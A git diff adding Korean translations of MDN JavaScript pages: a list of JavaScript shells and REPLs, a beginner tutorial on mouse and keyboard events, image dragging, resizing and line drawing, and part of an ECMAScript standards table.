+ <td>10</td>
+ <td>11.6</td>
+ <td>4.2</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer"><em>Base64</em>로 인코딩된 문자열에서 <code>ArrayBuffer</code> 또는 형식화 배열 얻기</a></li>
+ <li><a href="/ko/docs/Code_snippets/StringView"><code>StringView</code> - 형식화 배열에 기반을 둔 문자열의 C-like 표현</a></li>
+ <li><a href="https://hacks.mozilla.org/2011/12/faster-canvas-pixel-manipulation-with-typed-arrays" title="Faster Canvas Pixel Manipulation with Typed Arrays">형식화 배열로 빠른 Canvas 픽셀 조작</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webgl/typed_arrays">형식화 배열: 브라우저에서 이진 데이터</a></li>
+ <li>{{Glossary("Endianness")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/쉘/index.html b/files/ko/web/javascript/쉘/index.html
new file mode 100644
index 0000000000..718fa8bdc2
--- /dev/null
+++ b/files/ko/web/javascript/쉘/index.html
@@ -0,0 +1,40 @@
+---
+title: JavaScript 쉘
+slug: Web/JavaScript/쉘
+translation_of: Web/JavaScript/Shells
+---
+<div>{{JsSidebar}}</div>
+
+<p>여러분은 JavaScript 쉘을 통해 웹페이지 새로고침하지 않고 빠르게 <a href="/en-US/docs/Web/JavaScript">JavaScript</a> 의 코드를 테스트해볼 수 있습니다. 코드를 개발하고 디버깅하는데 매우 유용한 도구입니다.</p>
+
+<h2 id="독립적으로_사용할_수_있는_JavaScript_쉘">독립적으로 사용할 수 있는 JavaScript 쉘</h2>
+
+<p>아래의 Javascript 쉘은 펄과 파이썬과 같이 독립적인 환경을 제공합니다.</p>
+
+<ul>
+ <li><a href="http://nodejs.org/">Node.js</a> - Node.js는 빠르고 확장 가능한 네트워크 어플리케이션을 쉽게 만들 수 있는 플랫폼입니다.</li>
+ <li><a class="external" href="http://www.jsdb.org/">JSDB</a> - Windows, Mac, Linux 환경에 맞는 컴파일된 바이너리를 제공하는 독립적인 독립적인 Javascript 쉘입니다.</li>
+ <li><a class="external" href="http://javalikescript.free.fr/">JavaLikeScript</a> - 네이티브와 JavaScript 라이브러리 모두를 제공하는 독립적이고 확장 가능한 JavaScript 쉘입니다.</li>
+ <li><a class="external" href="http://gluescript.sourceforge.net/">GLUEscript</a> - 크로스-플랫폼 JavaScript 어플리케이션을 제작하기 위한 독립적인 JavaScript 쉘입니다. GUI 앱을 위한 wxWidgets(구 wxJavaScript)를 사용할 수 있습니다.</li>
+ <li><a class="external" href="http://jspl.msg.mx/">jspl</a> - Perl의 영향을 받은 독립적인 JavaScript 쉘입니다. JavaScript에서 직접 perl 모듈을 사용할 수 있습니다: 데이터베이스 통합을 위한 DBI, GUI 앱을 위한 GTK2, 시스템 프로그래밍을 위한 POSIX, 기타 등등. 현재로서는 JavaScript 프로그래머를 위한 최고의 CPAN입니다.</li>
+ <li><a class="external" href="http://shelljs.org">ShellJS</a> - Node.js를 위한 포터블 Unix 쉘 명령도구입니다.</li>
+</ul>
+
+<h2 id="JavaScript_쉘_리스트">JavaScript 쉘 리스트</h2>
+
+<p>아래는 Mozilla에서 사용할 수 있는 JavaScript Shell입니다.</p>
+
+<ul>
+ <li>Firefox는 <a href="/ko/docs/Tools/Scratchpad">Scratchpad</a>라 불리는 자바스크립트 내장 콘솔을 가지고있습니다.(version6 이후)</li>
+ <li><a href="/ko/docs/Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell">JavaScript Shell</a> (<code>js</code>) - JavaScript를 위한 command line인터프리터입니다.</li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XPCOM/Language_bindings/XPConnect">XPConnect</a>인 <a href="/en-US/docs/Mozilla/XPConnect/xpcshell">xpcshell</a> - Mozilla개발자는 위한 유용한 쉘 입니다. (가끔 필요할거에요.)</li>
+ <li><a href="http://babeljs.io/repl">Babel REPL</a> - 최신 자바스크립트를 시험해 볼 수 있는 브라우저 기반 <a href="https://en.wikipedia.org/wiki/REPL">REPL</a>입니다.</li>
+ <li><a href="http://es6console.com/">ES6Console.com</a> - 브라우저에서 ECMAScript 2015 코드를 테스트 해보기위한 open-source JavaScript 콘솔 입니다.</li>
+ <li><a href="http://jsconsole.com/">jsconsole.com</a> -- 웹에서 빠른속도록 JavaScript 코드를 테스트 해 볼 수 있는 open-source JavaScript 콘솔 입니다.</li>
+ <li><a class="external" href="http://www.squarefree.com/shell/">JavaScript Shell (web page)</a> - <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434">Extension Developer's Extension</a>의 일부 기능으로 사용 가능합니다.</li>
+ <li><a class="external" href="http://www.billyreisinger.com/jash/">Jash: JavaScript Shell</a> - 웹에서 커맨드라인접속이 가능한 <a href="https://ko.wikipedia.org/wiki/DHTML">DHTML</a> 기반 쉘 입니다.</li>
+ <li><a class="external" href="http://hyperstruct.net/projects/mozrepl">MozRepl</a> - Firefox 및 기타 Mozilla 응용 프로그램에 연결하고 코드를 실행하는 중에 코드내용을 다루거나 확인 할 수 있습니다.</li>
+ <li><a class="external" href="https://addons.mozilla.org/en-US/firefox/addon/execute-js/">Execute JS</a> - (더이상 지원되지않음) - 확장 된 JavaScript 콘솔을 제공하는 Firefox 확장 기능입니다. 임의의 JavaScript 코드 및 수정 기능을 편안하게 입력하고 실행할 수 있습니다.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/addon/159546">xqjs</a> - Firefox를 위한 간단한 콘솔</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/firebug/">Firebug</a> - 콘솔을 포함한 Firefox 개발자도구입니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/시작하기/index.html b/files/ko/web/javascript/시작하기/index.html
new file mode 100644
index 0000000000..cfe47e1ec5
--- /dev/null
+++ b/files/ko/web/javascript/시작하기/index.html
@@ -0,0 +1,327 @@
+---
+title: 시작하기 (자바스크립트 튜토리얼)
+slug: Web/JavaScript/시작하기
+translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
+---
+<h2 id="Why_JavaScript.3F" name="Why_JavaScript.3F">왜 자바스크립트인가?</h2>
+<p>자바스크립트는 종종 오해할 수 있는 강력하고 복잡한 컴퓨터 언어이다. 사용자가 쉽게 데이터를 입력하고 결과를 볼 수 있게 어플리케이션을 빠르게 개발 할 수 있다.</p>
+<p> 웹브라우저를 중심으로 또한 ECMAScript로 알려진 자바스크립트의 주요 장점은 이와 같이 브라우저를 지원하는 모든 플랫폼에 동일한 결과를 만들 수 있다. 이 페이지의 예제는 구글 맵스처럼 맥 OS와 윈도우, 리눅스에서 실행한다. 수많은 자바스크립트 라이브러리의 최근 성장과 함께 AJax 어플리케이션을 개발하거나 이벤트 처리하기, 에니메이션 만들기, DOM 엘리먼트 선택하기, 도큐먼트 탐색하기가 이제 더욱 쉬워졌다. 다양한 소유권의 이익에 의해 추진된 다른 기술의 과대 광고와는 달리 자바스크립트는 모두 무료이면서 보편적으로 채택된 클라이언트 사이드 프로그래밍 언어이면서 정말이지 유일한 크로스 플래폼이다.</p>
+<h2 id="What_you_should_already_know" name="What_you_should_already_know">당신이 이미 알아야 하는 것</h2>
+<p>자바스크립트는 프로그래밍을 같이 시작하기 위해 매우 쉬운 언어이다. 시작하기 위해서  당신이 필요한 모든 것은 텍스트 에디터와  웹브라우저이다.  </p>
+<p>이 문서의 범위를 벗어나는 자바스크립트와 함께 개발되고 통합 할 수 있는 다른 기술은 많이 있다. 첫날부터 구글맵스과 같이 완전한 어플리케이션을 만들 것이라고 기대하지 마라!</p>
+<p>시작하기</p>
+<p>자바스크립트로 시작하기는 매우 쉽다. 당신은 복잡한 개발 프로그램 설치가 필요가 없다. 컴파일러를 사용하거나 프로그램 만들기, 쉘을 어떻게 사용하는지 알 필요가 없다. 자바스크립트는 당신의 웹 브라우저에서 해석 된다. 당신이 해야 할 모든 일은 텍스트 파일에 당신의 프로그램을 저장하고 당신의 웹브라우저를 연다. 단지 그 것이다!</p>
+<p>자바스크립트는 입문 컴퓨터 언어로서 최고의 프로그래밍 언어이다. 새로운 학생에게  즉시 피드백 할 수 있게 하고 그들이 아마도 그들의 실생활에 유용한 것을 발견할 수 있는 도구들에 관한 것을 그들에게 가르친다. 이것은 전용 소프트웨어 개발자를 위해 정말 유용한 C, C++, JAVA 와는 뚜렷하게  대조적이다. </p>
+<h2 id="Browser_Compatibility_Issues" name="Browser_Compatibility_Issues">브라우저 호환성 이슈들</h2>
+<p>다른 브라우저에서 사용이 가능한 어떤 기능 중에는 차이가 있다. Mozilla, Chrome, Microsoft IE, Apple Safari, Opera에서 가동하는 것에 따라 변동될 수 있다. 이런 <a href="/en-US/docs/JavaScript/Compatibility">변동사항</a>을 문서화 하려고 한다.  사용 가능한 다양한 크로스 플랫폼 자바스크립트 API 사용하여 이런 이슈들을 완하시킬 수 있다. 이런 API는 공통 기능으로 제공하고 이 브라우저의  변동된 것을 숨긴다. </p>
+<h2 id="How_to_try_the_Examples" name="How_to_try_the_Examples">예제를 시도하는 방법</h2>
+<p>아래의 예제들은  몇가지 샘플 코드를 가지고 있다. 이 예제들을 시도하는 방법은 여러가지가 있다. 만약 당신이 이미 당신의 웹사이트를 가지고 있다면 당신은 당신의 웹사이트에 새로운 웹 페이지로써 이 예제들을 저장할 수 있어야 한다.</p>
+<p>만약 당신이 당신의 웹사이트를 가지고 있지 않다면 당신의 컴퓨터에 파일로써 이 예제들을 저장할 수 있고 당신이 현재 사용하고 있는 웹브라우저를 통해 예제들을 열 수 있다. 자바스크립트는 이런 이유로 시작하려는 프로그래머가 사용하기 매운 쉬운 언어이다. 당신은 컴파일러 또는 개발 환경이 필요하지 않다. 그리고 당신과 당신의 브라우저가 시작하기 위해서 필요한 모든 것이다!</p>
+<h2 id="Example:_Catching_a_mouse_click" name="Example:_Catching_a_mouse_click">예제 : 마우스 클릭 잡기</h2>
+<p>이벤트 핸들링(이벤트 타입들, 핸들러 등록, 전파 등)의 특성은 이 간단한 예제들을 완전히 적용하기에는 너무 광범위하다. 그런데 이 예제는 자바스크립트 이벤트 시스템에 대한 조금의 탐구도 없이 마우스 클릭을 잡기를 설명할 수 없다. 이 예제는 자바스크립트 이벤트에 관해 전체 자세한 내용을 가볍게 스쳐 지나 갈 것이고 만약 당신이 여기 설명된 기본 기능의 범위를 넘어서고 싶다면 자바스크립트 이벤트 시스템에 관해 더 자세히 읽어야 함을 명심하라.</p>
+<p>'마우스'이벤트들은 사용자 동작에 반응한 웹브라우저에 의해 발생된 전체 이벤트의  집합이다.<span style="line-height: 1.5;">다음은 사용자의 마우스 동작에 대한 응답으로 방출되는 이벤트의 목록이다.</span></p>
+<ul>
+ <li>Click - 사용자가 마우스를 클릭했을 때 발생</li>
+ <li>DblClick - 사용자가 마우스를 더블 클릭했을 때 발생</li>
+ <li>MouseDown -  사용자가 마우스 버튼을 눌렀을 때 발생(클릭의 전반부)</li>
+ <li>MouseUp - 사용자가 마우스 버튼을 해제했을 때 발생(클릭의 후반후)</li>
+ <li>MouseOut - 마우스 포인터가 객체의 그래픽 범위를 떠나려고 할때 발생</li>
+ <li>MouseOver -  마우스 포인터가 객체의 그래픽 범위를 진입하려고 할때 발생</li>
+ <li>MouseMove - 마우스 포인터가 객체의 그래픽 범위 안에서 마우스 포인터를 움직이려 할때 발생</li>
+ <li>ContextMenu - 사용자가 오른쪽 마우스 버튼을 클릭했을 때 발생</li>
+</ul>
+<p>인라인 이벤트 핸들러, HTML의 최신버전에서 주의할 것은 다시 말하면 하나가 태그 애트리뷰트들로써 추가 되었다는 것은 모두 소문자 이고 스크립트의 이벤트 핸들러가 항상 모든 소문자이어야 하는 것을 예상된다.</p>
+<p>이벤트 핸들러를 등록하려는 이러한 이벤트들을 캡처하기 위해 가장 간단한 방법은 HTML을 사용하여 당신의 엘리먼트의 애트리뷰트들로서 개별적인 이벤트들을 지정하는 것이다.</p>
+<p>예제:</p>
+<pre class="brush:js"> &lt;span onclick="alert('Hello World!');"&gt;Click Here&lt;/span&gt;</pre>
+<p>당신이 실행하기 원하는 자바스크립트 코드를 애트리뷰트 값으로서 그때마다 처리할 수 있다. 또는 당신은 HTML 페이지안에 &lt;script&gt; 블록에 정의되어진 함수를 호출 할 수 있다 :</p>
+<pre class="brush:js">&lt;script&gt;
+ function clickHandler() {
+ alert("Hello, World!");
+ }
+&lt;/script&gt;
+&lt;span onclick="clickHandler();"&gt;Click Here&lt;/span&gt;</pre>
+<p>또한 발생된 이벤트 객체는 캡처하거나 참조할 수 있으며 <span style="line-height: 1.5;">객체가 이벤트를 받거나 이벤트 타입 그리고 마우스가 클릭됐을 때 그러한 이벤트에 관한 특성을 접근하는 무언가 개발하는 것을  제공할 수 있다. </span><span style="line-height: 1.5;">인라인 예제를 다시 사용 하라:</span></p>
+<pre class="brush:js">&lt;script&gt;
+ function clickHandler(event) {
+ var eType = event.type;
+ /* 다음은 호환성을 위한 것이다. */
+ /* Moz는 이벤트 객체의 target 프로퍼티로 채운다. */
+ /* IE는 <span style="font-size: 1rem;">srcElement 프로퍼티로 채운다.</span><span style="font-size: 1rem;">*/</span>
+ var eTarget = event.target || event.srcElement;
+
+ alert( "Captured Event (type=" + eType + ", target=" + eTarget );
+ }
+&lt;/script&gt;
+&lt;span onclick="clickHandler(event);"&gt;Click Here&lt;/span&gt;</pre>
+<p>당신의 HTML안에 이벤트를 수신 등록 이외에 당신은 당신의 자바스크립트에 의해 생성된 어떠한 HTML엘리먼트 객체의 똑같은 이름으로 애트리뷰트들을 마찬가지로 설정할 수 있다. 아래의 예는 span 객체를 인스터트화하고 페이지의 body에  추가하고 mouse-over, mouse-out, mouse-down, mouse-up 이벤트들을 수신하기위해 span 객체를 등록한다. </p>
+<pre class="brush:js">&lt;body&gt;&lt;/body&gt;
+&lt;script&gt;
+ function mouseeventHandler(event) {
+ /*<span style="font-size: 1rem;">다음은 호환성을 위한 것이다.</span><span style="font-size: 1rem;"> */</span>
+ /* IE는 기본적으로 이벤트 객체를 전달하지 않는다. */
+ if (!event) event = window.event;
+
+ /* 미리 이벤트 타입과 타켓 얻기 */
+ var eType = event.type;
+ var eTarget = event.target || event.srcElement;
+ alert(eType +' event on element with id: '+ eTarget.id);
+ }
+
+ function onloadHandler() {
+ /* 페이지의 body 엘리먼트를 참조하여 얻기 */
+ var body = document.body;
+ /* 클릭되기 위한 span 엘리먼트 생성하기 */
+ var span = document.createElement('span');
+ span.id = 'ExampleSpan';
+ span.appendChild(document.createTextNode ('Click Here!'));
+
+ /* 특정 마우스 이벤트를 받기 위해 spna 객체 등록하기 - 이벤트들의 소문자에 유의하라 그러나 당신이 그것을 치환하기 위한 이름의 선택은 자유다.
+ */
+ span.onmousedown = mouseeventHandler;
+ span.onmouseup = mouseeventHandler;
+ span.onmouseover = mouseeventHandler;
+ span.onmouseout = mouseeventHandler;
+
+ /* 페이지에 span 보여주기 */
+ body.appendChild(span);
+}
+
+window.onload = onloadHandler; // 우리가 핸들러를 치환한 이후에는 우리는 함수 이름 뒤에 ()을 붙여서는 안된다.
+&lt;/script&gt;</pre>
+<h2 id="Example:_Catching_a_keyboard_event" name="Example:_Catching_a_keyboard_event">예제: 키보드 이벤트 잡기</h2>
+<p>위의 예제인 "마우스 이벤트 잡기"와 유사하게 키보드 이벤트 잡기는 자바스크립트 이벤트 시스템 탐험에 의존한다. 키보드 이벤트들은 어떤 키든 키보드에서 사용될 때마다 발생한다.</p>
+<p>키보드 동작에 반응하여 방출 가능한 키보드 이벤트 목록들은 마으스로 사용 가능한 것보다 상당히 작다. </p>
+<ul>
+ <li>KeyPress - 키보드를 누르거나 해제할때 발생</li>
+ <li>KeyDown - 키보드를  눌렀지만 아직 해제 않지 않았을때 발생</li>
+ <li>KeyUp - 키보드가 해제 되었을때 발생</li>
+ <li>TextInput (글을 썼던 시점에는 웹킷 브라우저에서만 가능) - 텍스트에 붙여넣기나 말하기를 하거나 또는 키보드로 입력했을 때 발생. 이 이벤트는 이 문서에 포함하지 않을 것이다.</li>
+</ul>
+<p><a class="new " href="/en-US/docs/DOM/event/keypress" rel="internal">keypress</a> 이벤트는 키를 눌렀을 때의 Unicode값이 keycode나 <a href="/en-US/docs/DOM/event.charCode" rel="internal" style="line-height: 1.5; font-family: 'Courier New', 'Andale Mono', monospace;">charCode</a> 프로퍼티에 둘다 저장되어 있다. 만약 키가  문자로 생성되어 눌러졌을때 (예를 들어 'a') <code style="font-style: normal; line-height: 1.5;">charCode는 문자의 경우를 반영하여 문자의 코드를 설정한다.(즉, charCode은 Shift 키를 누르고 있는지 여부를 고려한다)그렇지 않으면, 누른 키의 코드가 keyCode에 저장된다.</code></p>
+<p>키보드 이벤트들을 캡쳐하기 위한 가장 간단한 방법은 당신의 엘리먼트를 애트리뷰트들로써 개별적인 이벤트들을 지정한 HTML안에 이벤트 핸들러들을 다시 저장하는 것이다.</p>
+<p>예:</p>
+<pre class="brush:js"> &lt;input type="text" onkeypress="alert ('Hello World!');"&gt;
+</pre>
+<p>마우스 이벤트들과 마찬가지로 당신이 실행하기 원하는 자바스크립트 코드는 그때마다 처리할 수 있다. 또는 당신은 HTML 페이지안에 &lt;script&gt; 블록에 정의되어진 함수를 호출 할 수 있다 :</p>
+<pre class="brush:js">&lt;script&gt;
+ function keypressHandler() {
+ alert ("Hello, World!");
+ }
+&lt;/script&gt;
+
+&lt;input onkeypress="keypressHandler();" /&gt;
+</pre>
+<p>타겟을 참조하거나 이벤트를 캡쳐 하는 것은 (즉, 눌러진 실제 키) 마우스 이벤트를 비슷한 방법으로 이룰 수 있다.</p>
+<p> <span style="font-family: 'Courier New', 'Andale Mono', monospace; font-size: 1rem; line-height: 19px; background-color: rgb(246, 246, 242);">&lt;script type="text/javascript"&gt;</span></p>
+<pre class="brush:js"> function keypressHandler(evt) {
+ var eType = evt.type; // 이벤트 타입으로써 <span style="font-size: 1rem;">"keypress"를 반환할 것이다.</span></pre>
+<pre class="brush:js">
+ /* <span style="font-size: 1rem;">여기에 우리는 </span><span style="font-size: 1rem;">which 나 다른 </span><span style="font-size: 1rem;">keyCode로 반환되는 모질라 기반으로 된 브라우저를 크로스 브라우저 방법으로 사용할 필요가 있다. </span><a href="/en-US/docs/JavaScript/Reference/Operators/Conditional_Operator" style="font-size: 1rem;" title="/en-US/docs/JavaScript/Reference/Operators/Conditional_Operator">조건 연산자</a><span style="font-size: 1rem;"> 또는 삼항식이 </span><span style="font-size: 1rem;">좋은 방법이다.</span>
+ var keyCode = evt.which?evt.which:evt.keyCode;
+ var eCode = 'keyCode is ' + keyCode;
+ var eChar = 'charCode is ' + .fromCharCode(keyCode); // 또는 evt.charCode
+ alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
+ }
+&lt;/script&gt;
+&lt;input onkeypress="keypressHandler(event);" /&gt;</pre>
+<p>페이지로 부터 어떤 키 이벤트를  캡처하기 위해서는 문서 레벨에서 이벤트를 등록하거나 함수안에서 처리하여 마칠 수 있다. </p>
+<pre class="brush:js">&lt;script&gt;
+ document.onkeypress = keypressHandler;
+ document.onkeydown = keypressHandler;
+ document.onkeyup = keypressHandler;
+&lt;/script&gt;</pre>
+<p><span style="line-height: 1.5;">여기에 키 이벤트 처리하기 보여주는 완벽한 예제가 있다.</span></p>
+<pre class="brush:js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+ &lt;script&gt;
+ var metaChar = false;
+ var exampleKey = 16;
+ function keyEvent(event) {
+ var key = event.keyCode || event.which; // alternative to ternary - if there is no keyCode, use which
+ var keychar = String.fromCharCode(key);
+ if (key == exampleKey) {
+ metaChar = true;
+ }
+ if (key != exampleKey) {
+ if (metaChar) {
+ alert("Combination of metaKey + " + keychar)
+ metaChar = false;
+ } else {
+ alert("Key pressed " + key);
+ }
+ }
+ }
+ function metaKeyUp(event) {
+ var key = event.keyCode || event.which;
+ if (key == exampleKey) { metaChar = false; }
+ }
+ &lt;/script&gt;
+&lt;/head&gt;
+&lt;body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)"&gt;
+ Try pressing any key!
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<h3 id="브라우저_버그들과_이상한_점">브라우저 버그들과 이상한 점</h3>
+<p>키 이벤트를 통해서 사용 가능하게 만들어진 두개의 프로퍼티들은 keycode와 charCode이다. 단순한 용어로 keyCode는 사용자에 의해 눌러진 실제 키보드 키를 의미하는데 반하여 charCode는 키의 ASCII 값을 반환한다. 이 두 값들은 반드시 동일하지 않을 수 있다. 예를 들어 소문자 'a'와 대문자 'A'는 같은 keyCode를 가지고 있다. 왜냐하면 사용자는 같은 키를 누르기 때문이다. 하지만 다른 charCode를 가지는 것은 왜냐하면 결과 문자가 다르기 때문이다.</p>
+<p>charCode가 해석되는 브라우저의 방법은 일관되게 적용되는 방법이 아니다. 예를 들어  Internet Explorer 와 Opera는 charCode를 지원하지 않는다. 그런데 그들은 keyCode안에 문자 정보를 준다. onkeypress만 아니라 onkeydown 와 onkeyup의 keyCode가  키 정보를 가지고 있다. Firefox 는 "which",  문자를 구별하기 위해 다른 단어를 사용한다. </p>
+<p>더 나아가 키 이벤트들을 다루는 것에 관해서는 <span style="line-height: 1.5;"> </span><a href="/en-US/docs/DOM/Event/UIEvent/KeyboardEvent" style="line-height: 1.5;" title="https://developer.mozilla.org/en-US/docs/DOM/Event/UIEvent/KeyEvent">Keyboard Events</a>에 대한<span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">Mozilla 문서를 참조하시오.</span></p>
+<p>{{ draft() }}</p>
+<h2 id="Example:_Dragging_images_around" name="Example:_Dragging_images_around">예제: 이미지 주변에 드래그하기</h2>
+<p>다음 예제는 페이지 근처의 firefox의 이미지를 이동할 수 있다.</p>
+<pre class="brush:js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;style&gt;
+img { position: absolute; }
+&lt;/style&gt;
+
+&lt;script&gt;
+window.onload = function() {
+
+ movMeId = document.getElementById("ImgMov");
+ movMeId.style.top = "80px";
+ movMeId.style.left = "80px";
+
+ document.onmousedown = coordinates;
+ document.onmouseup = mouseup;
+
+ function coordinates(e) {
+ if (e == null) { e = window.event;}
+
+ // <span style="font-size: 1rem;">e.srcElement은 IE에서 타겟 엘리먼트로 가지고 있고 반면 </span><span style="font-size: 1rem;">e.target은 firefox에서 타겟 엘리먼트로 가지고 있다.</span>
+// 두 프로퍼티들은 이벤트가 일어난 HTML 엘리먼트를 반환한다.
+ var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
+
+ if (sender.id=="ImgMov") {
+ mouseover = true;
+ pleft = parseInt(movMeId.style.left);
+ ptop = parseInt(movMeId.style.top);
+ xcoor = e.clientX;
+ ycoor = e.clientY;
+ document.onmousemove = moveImage;
+ return false;
+ }
+ return false;
+ }
+
+ function moveImage(e) {
+ if (e == null) { e = window.event; }
+ movMeId.style.left = pleft+e.clientX-xcoor+"px";
+ movMeId.style.top = ptop+e.clientY-ycoor+"px";
+ return false;
+ }
+
+ function mouseup(e) {
+ document.onmousemove = null;
+ }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+ &lt;img id="ImgMov" src="http://placehold.it/100x100&amp;text=JS" width="64" height="64"&gt;
+ &lt;p&gt;Drag and drop around the image in this page.&lt;/p&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;</pre>
+<h2 id="Example:_Resizing_things" name="Example:_Resizing_things">예제: 크기 조정하기</h2>
+<div>
+ <p>이미지 크기 조정하는 예제(실제 이미지가 크기가 조정되는 것이 아니고,  이미지의 랜더링만 되는 것이다.)</p>
+ <pre class="brush:js"> &lt;!DOCTYPE html&gt;
+ &lt;html&gt;
+   &lt;head&gt;
+     &lt;style&gt;
+       #resizeImage {
+         margin-left: 100px;
+       }
+     &lt;/style&gt;
+     &lt;script&gt;
+     window.onload = function() {
+
+       var resizeId = document.getElementById("resizeImage");
+       var resizeStartCoordsX,
+           resizeStartCoordsY,
+           resizeEndCoordsX,
+           resizeEndCoordsY;
+
+       var resizeEndCoords;
+       var resizing = false;
+
+       document.onmousedown = coordinatesMousedown;
+       document.onmouseup = coordinatesMouseup;
+
+       function coordinatesMousedown(e) {
+         if (e == null) {
+           e = window.event;
+         }
+
+         var element = (typeof( window.event ) != 'undefined' ) ? e.srcElement : e.target;
+
+         if (element.id == "resizeImage") {
+           resizing = true;
+           resizeStartCoordsX = e.clientX;
+           resizeStartCoordsY = e.clientY;
+         }
+         return false;
+       }
+
+       function coordinatesMouseup(e) {
+         if (e == null) {
+           e = window.event;
+         }
+
+         if (resizing === true) {
+           var currentImageWidth = parseInt(resizeId.width);
+           var currentImageHeight = parseInt(resizeId.height);
+
+           resizeEndCoordsX = e.clientX;
+           resizeEndCoordsY = e.clientY;
+
+           resizeId.style.height = currentImageHeight - (resizeStartCoordsY - resizeEndCoordsY) + 'px';
+           resizeId.style.width = currentImageWidth - (resizeStartCoordsX - resizeEndCoordsX) + 'px';
+
+           resizing = false;
+         }
+         return false;
+       }
+     }
+     &lt;/script&gt;
+   &lt;/head&gt;
+
+   &lt;body&gt;
+     &lt;img id="resizeImage" src="http://upload.wikimedia.org/wikipedia/commons/e/e7/Mozilla_Firefox_3.5_logo_256.png"
+width="64" height="64"&gt;
+     &lt;p&gt;Click on the image and drag for resizing.&lt;/p&gt;
+   &lt;/body&gt;
+
+ &lt;/html&gt;</pre>
+</div>
+<h2 id="Example:_Drawing_Lines" name="Example:_Drawing_Lines">예제: 라인 그리기</h2>
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+function linedraw(ax,ay,bx,by)
+{
+    if(ay&gt;by)
+    {
+        bx=ax+bx;
+        ax=bx-ax;
+        bx=bx-ax;
+        by=ay+by;
+        ay=by-ay;
+        by=by-ay;
+    }
+    var calc=Math.atan((ay-by)/(bx-ax));
+    calc=calc*180/Math.PI;
+    var length=Math.sqrt((ax-bx)*(ax-bx)+(ay-by)*(ay-by));
+    document.body.innerHTML += "&lt;div id='line' style='height:" + length + "px;width:1px;background-color:black;position:absolute;top:" + (ay) + "px;left:" + (ax) + "px;transform:rotate(" + calc + "deg);-ms-transform:rotate(" + calc + "deg);transform-origin:0% 0%;-moz-transform:rotate(" + calc + "deg);-moz-transform-origin:0% 0%;-webkit-transform:rotate(" + calc  + "deg);-webkit-transform-origin:0% 0%;-o-transform:rotate(" + calc + "deg);-o-transform-origin:0% 0%;'&gt;&lt;/div&gt;"
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="linedraw(200,400,500,900);"&gt; &lt;!--당신의 좌표 교체하기 --&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<p> </p>
diff --git a/files/ko/web/javascript/언어_리소스/index.html b/files/ko/web/javascript/언어_리소스/index.html
new file mode 100644
index 0000000000..5743a54e24
--- /dev/null
+++ b/files/ko/web/javascript/언어_리소스/index.html
@@ -0,0 +1,155 @@
+---
+title: 자바스크립트 언어 자료
+slug: Web/JavaScript/언어_리소스
+tags:
+ - Advanced
+ - 자바스크립트
+translation_of: Web/JavaScript/Language_Resources
+---
+<div>{{JsSidebar}}</div>
+
+<p><strong>ECMAScript</strong>는 <a href="/ko/docs/Web/JavaScript">자바스크립트</a>의 토대를 구성하는 스크립트 언어입니다. ECMAScript는 <a href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">ECMA International</a> 표준화 기구에 의해서 <strong>ECMA-262 및 ECMA-402 스펙</strong>에서 표준화되었습니다. 다음은 현재까지 승인됐거나 작업 중인 ECMAScript 표준입니다:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>이름</th>
+ <th>링크</th>
+ <th>출시 날짜</th>
+ <th>설명</th>
+ </tr>
+ <tr>
+ <th colspan="4">현재판</th>
+ </tr>
+ <tr>
+ <td>ECMA-262 10<sup>th</sup> Edition</td>
+ <td><a href="https://tc39.github.io/ecma262/">Working draft</a></td>
+ <td>2019</td>
+ <td>ECMAScript 2019 (제 10판), 명세 작업 중</td>
+ </tr>
+ <tr>
+ <td>ECMA-262 9<sup>th</sup> Edition</td>
+ <td><a href="http://ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a>, <a href="http://ecma-international.org/ecma-262/9.0/index.html#Title">HTML</a>, <br>
+ <a href="https://tc39.github.io/ecma262/">Working draft</a>, <a href="https://github.com/tc39/ecma262">repository</a></td>
+ <td>2018</td>
+ <td>ECMAScript 2018 (제 9판)</td>
+ </tr>
+ <tr>
+ <td>ECMA-402 5<sup>th</sup> Edition</td>
+ <td><a href="http://tc39.github.io/ecma402/">Working draft</a>, <a href="https://github.com/tc39/ecma402">repository</a></td>
+ <td>2018</td>
+ <td>ECMAScript 2018 국제화 API 표준</td>
+ </tr>
+ <tr>
+ <th colspan="4">폐기(Obsolete)/역사판</th>
+ </tr>
+ <tr>
+ <td>ECMA-262 (ES 1)</td>
+ <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%201st%20edition,%20June%201997.pdf">PDF</a></td>
+ <td>June 1997</td>
+ <td>ECMAScript 표준 원본.</td>
+ </tr>
+ <tr>
+ <td>ECMA-262 (ES 2)</td>
+ <td><a href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%202nd%20edition,%20August%201998.pdf">PDF</a></td>
+ <td>August 1998</td>
